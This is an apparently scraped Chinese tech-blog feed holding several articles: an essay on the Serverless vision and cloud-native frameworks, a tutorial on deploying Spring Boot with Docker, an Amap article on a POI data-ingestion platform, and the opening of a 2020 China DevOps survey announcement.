    • 它是开放(开源)的。因此不会有 vendor lock-in,所有人可以放心用;
    • 有大量的成功案例。很多人将其用到关键的商业系统中,因此得到了广泛验证。

    今天 Serverless/FaaS 领域有这个东西吗?还没有。

    Serverless 的愿景

    下面是来自 Google Trends 的一个图,其中红色是 Microservices,蓝色是 Serverless。

    从 2016 年 AWS 发布 Lambda 以来,全世界的开发者和云厂商对 Serverless 的热情在不断高涨,这说明大家对 Serverless 所描绘的愿景都非常 buy in。这个愿景是什么呢?

    image.png

    愿景是无服务器?但工程师们都知道服务器本质上是存在的,最多是加一层抽象,让我们看不到服务器,但它依旧很好的发挥作用。

    我个人觉得有关 Serverless 愿景,描绘最清楚的是一个比喻,这个比喻来自 UC Berkeley 在今年 2 月发表的那篇论文:

    image.png

    简单来说就是:我们今天对云资源的操作方式,就类似于几十年前早期程序员写汇编的方式。

    如果你没写过/学过汇编语言,或者已经忘了汇编语言,我特地找了本书拍了一段内容下来:

    image.png

    是不是对图中的这些寄存器、栈、程序计数器、以及相关的汇编指令感到很陌生了?如果让你用这样的语言写业务逻辑,那效率必然会变得非常低。

    幸好我们有 Java,Go,JavaScript 这样的高级语言,而这些高级语言还配套了相关的编译器/虚拟机,编译器/虚拟机能够高效地把面向业务的高级语言翻译成面向机器的汇编/机器码。

    今天,虽然基本的计算机体系结构没有发生本质的变化,但我们的程序所运行的环境,相比较 20 年前,已经发生了本质的变化。20 年前的程序大都跑在单机上,今天我们的程序都要为了跑在云上而设计了。

    为了让程序跑在云上,我们就需要配套的工作,包括云资源(容器、缓存、队列)的申请和回收、包括弹性伸缩的控制,等等。这些事情和业务逻辑没有任何关系,但研发/运维同学却为此花费了大量的时间。

    我想做一个不太成熟的类比:

    • 单机时代,操作系统管理了硬件资源,贴着资源层,高级语言让程序员描述业务,贴着业务层,编译器/VM 把高级语言翻译成机器码,交给操作系统;
    • 今天的云时代,资源的单位不再是 CPU、内存、硬盘了,而是容器、分布式队列、分布式缓存、分布式文件系统。

    云上的 OS 这个角色,基本上可以说是被 Kubernetes 生态给占了,那么云上的编译器/VM 呢?开发语言和框架呢?好像还没有。

    image.png

    今天我们把应用程序往云上搬的时候(a.k.a Cloud Native),往往都会做两件事情:

    • 第一是把巨型应用拆小,微服务化;
    • 第二就是摇身一变成为 yaml 工程师,写很多 yaml 文件来管理云上的资源。

    本质上大家都在把面向单机体系架构编写的应用程序,硬搬到云体系架构上。我认为这里存在两个巨大的 gap,这两个 gap 在图中用灰色的框表示了:

    1 编程语言和框架

    目前主流的编程语言基本都是假设单机体系架构运行的,面对分布式问题的时候,再叠一层框架上去。其对应的资源也依旧停留在单机体系结构的那些资源上(当然这里是有例外的,比如 erlang/OTP 天生就是为分布式设计的)。

    云时代,首先基本的资源单位发生了变化,从原来的 cpu、内存变成了容器、函数、分布式队列等等;其次,云天生分布式,因此单机时代大行其道的同步模型就不再适合。

    2 编译器

    程序员不应该花大量时间去写 yaml 文件,这些面向资源的 yaml 文件应该是由机器生成的,我称之为云编译器,高级编程语言用来表达业务的领域模型和逻辑,云编译器负责将语言编译成资源描述。

    我个人很看好 Erlang 的 Actor 模型,这个模型在其他语言上也有实现,例如语法参考 Ruby 并运行在 Erlang OTP 上的 Elixir,JVM 上的 Akka,以及 .NET 上的 Orleans。

    不同于其他语言的设计,Actor 模型从一开始就是基于分布式的前提做的设计,因此这种模型如果把其对应的资源管理换成纯粹的云资源管理,我觉得是有极大可行性的。

    如果用一句话来总结,我觉得 Serverless 的愿景应该是:

    Write locally, compile to the cloud.

    大家在忙什么

    除了抬头看天,说了一大堆美好的愿景,还得低头走路,先看看这条路上其他人在做什么。我整理了一下最近一年 Serverless 领域行业发生的一些比较重要的事件,建议大家打开简单看下《Serverless 领域近一年行业发展回顾》这篇文章。

    为了能够稍微清晰一点地去看这一大堆的产品和技术,我简单的把 Serverless 领域做的事情分了三个层,自下而上分别是资源层、DevOps 层和框架及运行时层。

    image.png

    资源层关注的是资源(如容器)的生命周期管理,以及安全隔离。这里是 Kubernetes 的天下,Firecracker,gVisor 等产品在做轻量级安全沙箱。这一层关注的是如何能够更快地生产资源,以及保证好安全性。

    DevOps 层关注的是变更管理、流量调配以及弹性伸缩,还包括基于事件模型和云生态打通。这一层的核心目标是如何把运维这件事情给做没了(NoOps)。虽然所有云厂商都有自己的产品(各种 FaaS),但是我个人比较看好 Knative 这个开源产品,原因有二:

    • 第一是其模型非常完备;
    • 第二是其生态发展非常迅速和健康。很有可能未来所有云厂商都要去兼容 Knative 的标准,就像今天所有云厂商都在兼容 Kubernetes 一样。

    以下是 Knative 近一年的贡献者及贡献数量的增长情况,数据来自演讲「Knative a Year Later: Serverless, Kubernetes and You」。

    image.png

    框架和运行时层呢,由于个人经验所限,我看的仅仅是 Java 领域,其实核心的还是在解决 Java 应用程序启动慢的问题(GraalVM)。当然框架如何避免 vendor lock-in 也很重要,谁都怕被一家云厂商绑定,怕换个云厂商要改代码,这方面主要是 Spring Cloud Function 在做。

    刚需在哪里

    产品想要成功,需要有核心竞争力,这个核心竞争力往往就是,你解决了一个用户很头疼、但其他产品没有解决的问题。我姑且把这样的问题称为用户的刚需。那么 Serverless 能解决哪些用户的什么刚需呢?我先对用户做一些简单的分析:

    image.png

    很多技术产品基本都是经历了如下四个阶段:

    初创期

    一个小团队围绕新的业务做试错,从无到有,技术上什么能快速上线用什么。

    这个时候团队规模很小,可能两三个人,所有代码放在一个应用内,不需要分布式,不需要隔离。

    成熟期

    业务成功了,用户在不断增多,业务也变得越来越复杂。

    这个时候团队的规模增长到数十到上百人,团队还处在一个部门,相互之间有足够的信任,沟通带宽也有足够的保证。一个应用的模式已经不能满足协作的需要,架构师开始做应用拆分,系统成了分布式的,按照业务的划分做了进程级别的隔离。

    平台期

    业务太成功了,就希望把已经沉淀的能力赋能给其他类似的业务。

    相比较于成熟期,这时候有了一些新的变化。首先是参与开发的人数增长得更多了,往往是数百上千;其次大多数参与开发的成员已经不再是核心产品团队的成员,他们往往在不同部门了,相互之间的信任已经大大减弱,沟通带宽也开始显著变窄。

    由于核心团队对于其他部门的开发缺乏组织管控能力,因此技术上的隔离要求被提上优先级,以避免平台上的开发者不小心拖垮平台本身。

    伴随着隔离,成本的问题也被提上日常,当平台上数百个插件和平台本身跑在同一个进程内的时候,资源天然是被复用的,只要模糊地计算下整体即可;当数百个插件被隔离到独立的容器中运行的时候,他们的资源占用就需要额外的调度系统去控制和优化。

    云产品期

    平台太成功了,就希望做成云服务,赋能社会上类似的业务,发挥更大的价值。

    如果说在平台期,隔离还只是个重要但非必须的要求的话(很多平台就没有真正做好隔离),云产品期的产品必须具备非常强的隔离能力。

    平台期做隔离最大的诉求是稳定性(不被平台上的开发者搞垮整个平台),而云产品期做隔离的最大诉求是安全性。

    正如图中所示,产品上的开发者已经和产品团队不在一个组织了,而且这样的开发者还可能是恶意的,因此除了容器的隔离,还需要虚拟机级别的隔离,网络的隔离等等。

    随着技术产品由小长大,不断成功,参与的开发者不断增长,核心团队对这些开发者的控制力越来越弱,沟通带宽不断缩减,信任不断降低,进而导致了稳定性和安全的风险不断上升,这就要求隔离能力不断加强。而随着隔离的引入,以及使用资源的不断增长,成本就成了一个不得不面对的问题,为了更优地分配资源,解决成本问题,就对调度提出了要求。

    因此,对于处在平台期和云产品期的产品来说,技术上的隔离能力及调度能力是他们的刚需。

    框架和运行时的创新

    前面所说的刚需都是集中在稳定性、安全性及资源成本的角度来讨论的。除此之外我们还需要讨论另外一个话题,那就是开发效率,而开发效率具体到技术是体现在框架上的。

    我们可以进一步的把框架分成两类:

    1)面向技术问题提升开发效率的框架

    如 Spring 通过依赖注入解决对象组装问题;HSF 解决分布式同步通讯问题;RocketMQ 解决分布式异步通讯问题;Hystrix 解决分布式通讯引入的网络不可靠问题等等。通过使用这些框架,技术的天然复杂度在很大程度被屏蔽掉了。

    2)面向业务问题提升开发效率的框架

    阿里的很多业务平台团队都会根据自己的场景(如交易、店铺、供应链)开发业务型框架,赋能开发快速迭代业务。

    通常,面向技术问题的框架会有一个团队研发,而面向业务问题的框架则由各类业务平台团队提供,这再一次证明了康威定律的正确性。康威定律翻译成中国的土话差不多就是“屁股决定脑袋”,技术型团队不愿意碰业务问题,而业务平台团队的框架在解决技术问题方面也显得没有技术团队专业,最终的结果是:两种框架割裂得比较厉害。

    大家可能听过这么一个故事:

    有一条恶龙,每年要求村庄献祭一个处女,每年这个村庄都会有一个少年英雄去与恶龙搏斗,但无人生还。又一个英雄出发时,有人悄悄尾随。龙穴铺满金银财宝,英雄用剑刺死恶龙,然后坐在尸身上,看着闪烁的珠宝,慢慢地长出鳞片、尾巴和触角,最终变成恶龙。

    虽然看起来很夸张,但在我看来,这一定程度上体现了一些大中型研发组织主流框架的现状:这些框架在组织发展的历史上发挥了极其重要的作用,然而到了今天,随着云服务不断地成熟,大家都在提云原生,都基于云在构建业务系统的时候,需要框架还在强制用户绑定语言(如 Java),还没做好服务化,把逻辑塞进用户的应用中。有的甚至要求用户的代码必须部署到平台的巨型应用中。

    这些限制短期内实现了业务目标,交付了业务价值,但从长期看基本上浇灭了业务开发做框架创新的热情,他们更习惯于等待“位于正确定位的团队”去解决问题,而“处于正确定位的团队”同学呢,可能一时半会还没感受到那些问题。

    不出意外的话,专注组织内短期业务价值的框架,被推到云上、推到社区、面向更普适通用诉求的时候,获得的认可就会差很多。

    传统的框架和运行时,只管理单机层面的资源,而当所有人都用云服务构建自身业务的时候,框架和运行时需要管理的就不再是单机资源,而是云资源了。

    在这方面行业里已经有了不少产品,比较知名的有 Terraform 和 Pulumi,但我觉得还不够,我觉得理想的云原生框架应该是这样的:

    • 能够帮助开发屏蔽云资源的管理。开发都不喜欢像写汇编一样写 yaml,因此框架需要负责资源的分配、回收,编排等等;
    • 纯异步的,事件驱动的。这是云天生的分布式特性决定的,如果编程语言范式还是同步的模型,这个框架就没法实现了;
    • 没有 vendor lock-in。不绑定实际的云厂商,唯有厂商中立的开发框架才能被广泛使用,框架定义了编程 API,具体的厂商可以提供相关的 driver;
    • 同时具备云资源管理和大规模软件开发必须的编程范式。这里的编程范式可能描述不当,但我找不到更好的词,面向对象设计是最主流的编程范式,Spring 就是围绕这个编程范式展开的。在一个框架中解决两个问题,会给开发极好的体验。

    小结

    Serverless 这个领域看起来极其美好,一旦深入去做了才发现实际非常复杂。这个复杂体现在涉及的工程技术比较广,也体现在用户的期望差异很大,更体现在大家对未来的判断还有很大的差异。

    在和团队一起深入这个领域的时候,我也需要不断整理自己的所闻所见、所思所想,因此我计划产出一系列文章,拿出来和大家分享,和大家探讨,这是第一篇,有兴趣的同学可以一起讨论。

    ]]>
    Docker 部署 Spring Boot Fri, 02 May 2025 09:39:04 +0800 67.jpeg
    作者:云天
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    一、Docker 简介

    Docker 属于 Linux 容器的一种封装,提供简单易用的容器使用接口。它是目前最流行的 Linux 容器解决方案。
    Docker 将应用程序与该程序的依赖,打包在一个文件里面。运行这个文件,就会生成一个虚拟容器。程序在这个虚拟容器里运行,就好像在真实的物理机上运行一样。有了 Docker,就不用担心环境问题。
    总体来说,Docker 的接口相当简单,用户可以方便地创建和使用容器,把自己的应用放入容器。容器还可以进行版本管理、复制、分享、修改,就像管理普通的代码一样。
    Docker 的主要用途:

    • 提供一次性的环境。比如,本地测试他人的软件、持续集成的时候提供单元测试和构建的环境。
    • 提供弹性的云服务。因为 Docker 容器可以随开随关,很适合动态扩容和缩容。
    • 组建微服务架构。通过多个容器,一台机器可以跑多个服务,因此在本机就可以模拟出微服务架构。

    二、Docker 的安装(CentOS环境)

    • 安装命令
    yum install docker
    • 安装完成后,使用下面的命令来启动 docker 服务,并将其设置为开机启动
    service docker start
    chkconfig docker on
    #LCTT 译注:此处采用了旧式的 sysv 语法,如采用CentOS 7中支持的新式 systemd 语法,如下:
    systemctl  start docker.service
    systemctl  enable docker.service
    • 使用Docker 中国加速器
    vi  /etc/docker/daemon.json
    #添加后:
    {
        "registry-mirrors": ["https://registry.docker-cn.com"],
        "live-restore": true
    }
    • 重新启动docker
    systemctl restart docker

    输入 docker version 返回版本信息则安装正常。

    docker version

    三、安装JDK

    yum -y install java-1.8.0-openjdk*

    配置环境变量 打开 vim /etc/profile 添加以下内容

    export JAVA_HOME=/usr/lib/jvm/jre-1.8.0-openjdk-1.8.0.242.b08-0.el7_7.x86_64
    export CLASSPATH=.:$JAVA_HOME/jre/lib/rt.jar:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar
    export PATH=$PATH:$JAVA_HOME/bin

    修改完成之后,使其生效

    source /etc/profile

    输入java -version 返回版本信息则安装正常。

    java -version

    四、安装 Maven

    下载:https://mirror.bit.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
    解压

    tar vxf apache-maven-3.6.3-bin.tar.gz

    移动

    mv apache-maven-3.6.3 /usr/local/maven3

    修改环境变量, 在/etc/

    MAVEN_HOME=/usr/local/maven3
    export MAVEN_HOME
    export PATH=${PATH}:${MAVEN_HOME}/bin

    执行source /etc/profile 使环境变量生效。

    source /etc/profile

    输入maven -version 返回版本信息则安装正常。

    maven -version 

    五、创建 spring boot 项目

    1. pom.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-parent</artifactId>
            <version>2.2.4.RELEASE</version>
            <relativePath/> <!-- lookup parent from repository -->
        </parent>
        <groupId>com.easy</groupId>
        <artifactId>spring-boot-docker</artifactId>
        <version>1.0</version>
        <packaging>jar</packaging>
        <name>spring-boot-docker</name>
        <description>Demo project for Spring Boot</description>
        <properties>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
            <java.version>1.8</java.version>
            <docker.image.prefix>springboot</docker.image.prefix>
        </properties>
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-web</artifactId>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-test</artifactId>
                <scope>test</scope>
            </dependency>
        </dependencies>
        <build>
            <plugins>
                <plugin>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-maven-plugin</artifactId>
                </plugin>
                <!-- Docker maven plugin -->
                <plugin>
                    <groupId>com.spotify</groupId>
                    <artifactId>docker-maven-plugin</artifactId>
                    <version>1.0.0</version>
                    <configuration>
                        <imageName>${docker.image.prefix}/${project.artifactId}</imageName>
                        <dockerDirectory>src/main/docker</dockerDirectory>
                        <resources>
                            <resource>
                                <targetPath>/</targetPath>
                                <directory>${project.build.directory}</directory>
                                <include>${project.build.finalName}.jar</include>
                            </resource>
                        </resources>
                    </configuration>
                </plugin>
                <!-- Docker maven plugin -->
            </plugins>
        </build>
    </project>

    2. Dockerfile 配置

    FROM openjdk:8-jdk-alpine
    VOLUME /tmp
    EXPOSE 8282
    ADD spring-boot-docker-1.0.jar app.jar
    ENTRYPOINT ["java","-Djava.security.egd=file:/dev/./urandom","-jar","/app.jar"]

    Dockerfile 文件介绍,构建 Jdk 基础环境,添加 Spring Boot Jar 到镜像中:

    • FROM:表示使用 Jdk8 环境 为基础镜像,如果镜像不是本地的会从 DockerHub 进行下载
    • VOLUME:VOLUME 指向了一个/tmp的目录,由于 Spring Boot 使用内置的Tomcat容器,Tomcat 默认使用/tmp作为工作目录。这个命令的效果是:在宿主机的/var/lib/docker目录下创建一个临时文件并把它链接到容器中的/tmp目录
    • EXPOSE:EXPOSE 指令是声明运行时容器提供服务端口,这只是一个声明,在运行时并不会因为这个声明应用就会开启这个端口的服务。在 Dockerfile 中写入这样的声明有两个好处,一个是帮助镜像使用者理解这个镜像服务的守护端口,以方便配置映射;另一个用处则是在运行时使用随机端口映射时,也就是 docker run -P 时,会自动随机映射 EXPOSE 的端口。
    • ADD:拷贝文件并且重命名
    • ENTRYPOINT:为了缩短 Tomcat 的启动时间,添加java.security.egd的系统属性指向/dev/urandom作为 ENTRYPOINT

    3. 其它示例代码

    DockerController.java

    @RestController
    public class DockerController {
        @RequestMapping("/")
        public String index() {
            return "Hello Docker!";
        }
    }

    DockerApplication.java

    @SpringBootApplication
    public class DockerApplication {
        public static void main(String[] args) {
            SpringApplication.run(DockerApplication.class, args);
        }
    }

    application.properties

    server.port=8282

    六、使用 Docker 部署 Spring Boot 项目

    将项目 docker 拷贝至服务器中,进入项目路径下进行打包测试。

    #打包
    mvn package
    #启动
    java -jar target/spring-boot-docker-1.0.jar

    看到 Spring Boot 的启动日志后表明环境配置没有问题,接下来我们使用 DockerFile 构建镜像。

    mvn package docker:build

    第一次构建可能有点慢,当看到以下内容的时候表明构建成功:

    Step 1/5 : FROM openjdk:8-jdk-alpine
     ---> a3562aa0b991
    Step 2/5 : VOLUME /tmp
     ---> Using cache
     ---> d070c927d0a7
    Step 3/5 : EXPOSE 8282
     ---> Using cache
     ---> b16d14267527
    Step 4/5 : ADD spring-boot-docker-1.0.jar app.jar
     ---> c4ddc409b458
    Removing intermediate container c58c986e6b9a
    Step 5/5 : ENTRYPOINT java -Djava.security.egd=file:/dev/./urandom -jar /app.jar
     ---> Running in d2b61fddd616
     ---> 13c600d3f625
    Removing intermediate container d2b61fddd616
    Successfully built 13c600d3f625
    [INFO] Built springboot/spring-boot-docker
    [INFO] ------------------------------------------------------------------------
    [INFO] BUILD SUCCESS
    [INFO] ------------------------------------------------------------------------
    [INFO] Total time: 7.273 s
    [INFO] Finished at: 2020-03-25T10:05:04+08:00
    [INFO] ------------------------------------------------------------------------

    使用docker images命令查看构建好的镜像:

    # docker images
    REPOSITORY                      TAG                 IMAGE ID            CREATED             SIZE
    springboot/spring-boot-docker   latest              13c600d3f625        18 minutes ago      122 MB
    docker.io/openjdk               8-jdk-alpine        a3562aa0b991        10 months ago       105 MB

    springboot/spring-boot-docker 就是我们构建好的镜像,下一步就是运行该镜像

    docker run -p 8282:8282 -t springboot/spring-boot-docker

    启动完成之后我们使用docker ps查看正在运行的镜像:

    # docker ps
    CONTAINER ID        IMAGE                           COMMAND                  CREATED             STATUS              PORTS                    NAMES
    a626c3dbdb1b        springboot/spring-boot-docker   "java -Djava.secur..."   34 seconds ago      Up 34 seconds       0.0.0.0:8282->8282/tcp   suspicious_murdock

    可以看到我们构建的容器正在在运行,浏览器访问:http://192.168.0.x:8282/ ,页面出现“Hello Docker!” 说明使用 Docker 部署 Spring Boot 项目成功!

    Hello Docker!

    阿里巴巴开源镜像站 提供全面,高效和稳定的系统镜像、应用软件下载、域名解析和时间同步服务。”

    ]]>
    高德深度信息接入的平台化演进 Fri, 02 May 2025 09:39:04 +0800 导读
    本文介绍了高德地图中POI深度信息接入在平台化过程中的一些思考和实践,从最开始的单体应用,随着业务发展面临挑战,从业务角度提出解决问题的思路和方案,进而转化成技术设计并落地实现的过程。

    背景
    POI是Point of Interest的缩写,即我们通常理解的地点信息。对普通用户而言,POI数据除包含名称、坐标等基本信息外,还会展示图片、评论、营业信息等内容,这些我们统称为深度信息。作为真实世界在线上的直接体现,其丰富度、准确度、新鲜度对用户的出行决策起到了至关重要的作用,也是高德地图从生活服务等多方面服务大众的基础。

    为了丰富深度信息,我们通过多种途径对接采集数据。每个数据接入源称之为一个CP(Content Provider)。最初只有少量CP的时候,每个CP建立一个应用,完全独立的存储、独立的代码,甚至采用的是完全不同的技术栈。

    然而,随着接入规模不断上涨,这种单体应对模式逐渐无力支撑,无法批量生产、更新、运维、监控等问题成为了业务迭代路上的绊脚石,大家花在基础维护等事务上的精力占比甚至超过了业务迭代。

    用一组数据说明下深度业务的发展速度:一个季度工作日130天左右,新接入的任务数量却多达到120个以上。截止目前接入的任务总数是研发人数的100倍以上,单日处理数据量达十亿规模。基于对这个趋势的预判,深度团队提前开始了平台化的探索。

    平台化实践
    平台化的思路是明确的,但是平台化的具体设计实施却有诸多不同的选择。

    大多数数据接入系统的设计目标都相对比较纯粹:作为接入系统,只要把数据拿到并输入到本业务体系内就可以,剩余的如数据解析,业务处理都由下游的其他系统再次加工才可形成真正的业务数据,即接入系统从设计之初就是无状态的,对数据本身的理解也基本与业务无关。

    但是考虑高德深度信息接入业务的特殊性,我们平台化时并没有采用这个方案,而是采用一种更集约化的思路,接入平台本身对数据就需要有充分的理解,不仅负责数据接入,还要负责数据解析、维度对齐、规格映射及生命周期维护等相关内容,平台直接内置了深度信息处理流程的全部管控逻辑。

    另外,不同于一般的接入系统,除研发(RD)外,产品(PM)也是系统的第一用户,平台需要有能力让PM在了解有限技术约束的条件下自主完成全流程数据接入、分析和调试,这就对平台所见即所得的实时设计调试能力提出了极高的要求。从平台设计角度要解决以下一些难点:

    • 数据规模不均匀:不同CP的数据量和数据体积相差巨大,有的源数据量有几亿条,最少的CP甚至只有一条数据。具体到每条数据大小也差距悬殊,如部分数据单条达到7.5M,有的则只有一个字段,仅几个字节。
    • 业务场景不收敛:深度数据来源多且杂:有三方合作接口、离线文件、经济体内OSS、ODPS、MetaQ等,且CP数据结构和关联匹配规则多种多样、无法预知,需要平台在设计上能支持各种场景下的维度对齐。
    • 映射清洗逻辑复杂:这里还有一个和常规业务不同的点,高德深度数据采用Schema比较松散的JSON方式组织,有多层嵌套对象及数组字段,且不同行业的规格并不一样,平台最终需要把数据组织成近百套不同规格的数据,这种松散的、非扁平二维表的数据处理也是挑战之一,尤其是存在数组上下文的场景里。

      玉昆1.png

    最终我们设计出如图所示的平台架构,平台集成了基础、转换、推送和任务调度四个模块,配合完成深度信息接入的全部工作。

    玉昆新增2.png

    平台分为几个模块:

    基础模块:负责CP、行业、规格、权限等基础信息的在线化,实现统一管理。

    转换模块:负责数据获取、维度对齐、规格映射等处理。

    推送模块:负责转换后规格数据推送至下游准入服务。

    任务模块:负责对任务的管理,如任务类型、积压策略和数据差分等。

    转换引擎设计

    转换模块由转换引擎、转换管理器、设计器和调试器四部分组成。

    为了降低系统的设计复杂度,所有业务规则的自定义部分均由转换模块支持。转换模块作为业务自由度最高的模块,使用相同的底层支持了上层业务的预转换、转换和数据分析三种场景,是系统能支持各种复杂业务场景的核心部分,转换引擎要支持数据获取、维度对齐、规格映射清洗等配置化及调试功能最复杂多变的部分。

    数据获取
    数据获取能力不仅要支持常见的HTTP、OSS、ODPS、MTOP、MetaQ及Push服务等多种方式,而且还要支持组合叠加。比如先从OSS下载一个文件,解析文件行,根据解析的数据,再调用HTTP服务等场景。

    为了支持近乎无限的业务叠加能力和所见即所得的设计效果,我们调研了阿里经济体内外的多种解决方案,如Blink、Stream平台等,没有发现可以直接满足我们业务需求的组件,主要问题为:

    • 基于技术维度组织,需要大量写代码或理解技术语义,无法提供业务视角,对数据PM的理解和使用有极大的障碍。
    • 步骤数据视图是扁平二维表,无法实现松散结构传递和处理。如果在步骤间自定义业务约束及协议则过于复杂。
    • 无法支持实时无副作用调试,运行流程和调试流程数据会互相污染。

    基于以上分析,我们决定不在上述平台上进行二次开发,而且直接基于当前业务场景定制一套引擎,虽然这些引擎无法直接使用,但是PDI的步骤组织及驱动方式和我们的业务场景比较匹配,从自由度、表达力和直观性几个角度考虑,转换引擎舍弃了DAG这种依赖计算和并行调度都相对容易的技术模型,使用和PDI类似的有向图模型进行组织。

    玉昆3.png


    为了最大限度的支持PM直接对业务场景进行描述,我们最终采纳了PDI的转换引擎设计思路,直接以原始有向图方式对步骤进行驱动执行,最大限度保持设计直觉和运行时的逻辑一致,从而不需要实现引擎层面的翻译器、优化器、执行器等复杂组件。

    玉昆4.png


    为了保证引擎的执行效率和安全性,我们保证步骤间数据传递不会跨进程,所有数据交互全部在内存内完成,且步骤之间均为异步并行执行,通过背压感知机制从后向前传导,平衡各步骤间的处理速度差异。

    维度对齐
    维度对齐是指把不同数据源、不同维度的数据通过给定的业务规则关联整合成某一种维度的数据,比如深度信息业务一般需要整合成POI维度的数据。理论上有了引擎提供,能直观表达并堆叠业务的能力可以实现维度对齐的需求。但是,深度信息还有一个问题要解,即面对数据PM使用实时调试的需求,所以无论复杂还是简单的转换都需要能随时调试,并直观地展示结果,方便数据PM快速分析和排查。

    常规ETL里都会涉及维度对齐的问题,但是由于常规业务一般都是二维数据表间的关联整合,所以像PDI之类的方案基本都是通过SQL+临时表的方案进行处理,在设计时即绑定了输入输出,调试和运行并无本质的区别,或者调试时需要修改配置,强制输出到一个临时存储,这意味转换引擎需要依赖特定的外部环境(如特定的数据库表),造成调试和运行时的数据会互相污染。

    我们的数据天然不是二维结构,无法平铺到表中,自然也就无法使用这种方案。我们采用的是只依赖本机内存+磁盘的方式进行数据处理,如flatten这种数据打散的需求直接用内存实现,不需要借助存储;像merge join等可能全量数据交叉运算的直接采用本地磁盘做辅助,实现了全部功能都不需要外部特殊环境支持,秉承这个思路,我们最终实现了具备如下能力的转换引擎:

    纯引擎

    • 不写数据,不生成执行记录。
    • 不依赖任务及特殊执行环境。
    • 可以随时初始化并执行。

    数据透出
    转换配置不需要指定输出,数据输出步骤动态挂接。

    多种场景管理器:任务场景会写到DB,调试场景通过WebSocket回传到前端页面。

    有了这样的引擎,综合考虑调试场景的要求,转换在设计时不再需要指定输出目标,输出目标会在运行时由场景管理器根据调试场景和正常运行场景动态挂接,避免数据互相污染。平台在Web端支持几乎所有层次的所见即所得的调试分析功能,覆盖了预转换、转换、清洗、推送等几乎所有环节。

    规格映射清洗
    为了支持松散Schema映射和透明扩展,转换的行模型(RowSchema)创新性的设计为双容器结构。

    • 主数据:承载上游步骤的直接结果数据。
    • 数据托盘:承载转换参数、步骤变量、映射结果等内容。

      玉昆5.png

    映射步骤通过映射类型、映射规则和清洗参数支持映射清洗一体化。

    • 正向映射:自上而下进行数据提取,以扩展JSONPath表达式(扩展了主数据、数据托盘、数组循环item等上下文语义)为主,多种映射类型为辅。
    • 反向清洗:自下而上逐层清洗,可任意叠加策略。

    转换模块通过步骤、映射、字段清洗三个层次对数据进行处理,PM使用时只需要通过Web界面拖拽对应组件并简单填写一些业务参数即可完成配置。

    为了避免业务黑盒问题,系统设计不同于Stream平台的一个地方是系统组件会向后兼容,步骤插件、映射插件、清洗插件都没有版本的概念。系统不支持的自定义业务在各个系统模块均可以写脚本(Groovy)的方式托底实现,但是不允许上传二进制包,代码必须以配置形式直接体现,避免后期的维护问题。

    生命周期管理
    生命周期是指系统要在适当的时机触发数据的新增、更新、删除操作。站在数据接入的角度,删除是一个较为复杂的过程,业务术语称之为下线。要说清楚下线问题得先说下深度信息的任务模型。

    目前我们支持批处理和流处理两种模型,如大家直观理解的,批处理任务每次执行都会递增一个批次号,比如常见的定时任务类型。流模型指任务一旦打开就会始终保持运行,数据一般是通过MetaQ、Push服务等方式被动接收的,没有批次概念。

    为了满足业务需求我们支持批次过期、时间过期、条件下线三种策略,且支持多策略叠加使用。而这些策略设计时也有各自要考虑的内容,如批次过期怎样避免扫描全批次的历史记录、历史和重试场景批次号的共享递增问题;时间过期如何避免对每条记录绑定定时器造成的定时器数量爆炸等等。

    生命周期管理涉及到比较多的任务模块设计内容,比如任务调度模型及多机分片机制设计,任务预警熔断逻辑设计,存储表的设计等,由于深度信息业务的集成需求,接入平台没有选用开源或阿里经济体现有的任务调度框架,而是自己定制开发了一个,篇幅有限这里不再展开论述。

    小结展望
    深度信息接入平台见证了高德深度接入飞速发展的几年,以极低的人力投入支撑了高德在各垂类领域的深耕拓源,为高德向生活服务类高频应用拓展提供了底层数据支持。未来我们还将在全链路Debug、运营精细化场景支持、非标数据处理、自由业务编排平台等方面继续深化和演进。

    ]]>
    重磅!《2020年中国 DevOps 现状调查》全面启动! Fri, 02 May 2025 09:39:04 +0800 mmexport1586511799206.jpg

    近几年,我们见证了云计算、大数据、微服务架构和容器等技术井喷发展,对于企业打造 DevOps 生态链也提供了更加便捷的支持,促使企业在市场快速变化时也能实现大跨步有姿态的发展。可行业没有清晰标杆,野蛮生长下对于自身的真实水平,处于行业哪个阶段就成了很多企业的困惑,方向是否正确?未来道路是否平坦?怎样克服实践困难?

    因此由中国信息通信研究院牵头发起的《研发运营一体化(DevOps)能力成熟度模型》即 DevOps 标准直击痛点,该标准分别从敏捷开发管理、持续交付、技术运营、应用设计、安全和风险管理及系统和工具等几个环节,全面评估企业 DevOps 实践的现状,进行优劣势分析,明确改进方向及策略。

    001.webp.jpg

    2019 年,中国信息通信研究院联合云计算开源与产业联盟、华为与南京大学进行了首次关于中国 DevOps 现状的问卷调查,并发布《2019 年中国 DevOps 现状调查报告》,在业界产生了良好的反响。目前,由中国信息通信研究院联合云计算开源与产业联盟、高效运维社区、南京大学、腾讯蓝鲸智云、百度、京东智联云、苏宁消费金融、华为云 DevCloud、中国移动通信研究院、中国电信天翼云、中国联通软件研究院、广东移动、浙江移动、平安科技、云智慧等企业共同发起的 2020 年中国DevOps 现状调查已经正式启动,现诚挚地邀请各位业界同仁参与本次调查。

    本问卷以中国信息通信研究院牵头编制的《研发运营一体化(DevOps)能力成熟度模型》标准为参考,聚焦中国 DevOps 实践成熟度现状,并根据问卷填写情况实时给出受访者所在组织的 DevOps 实践成熟度。

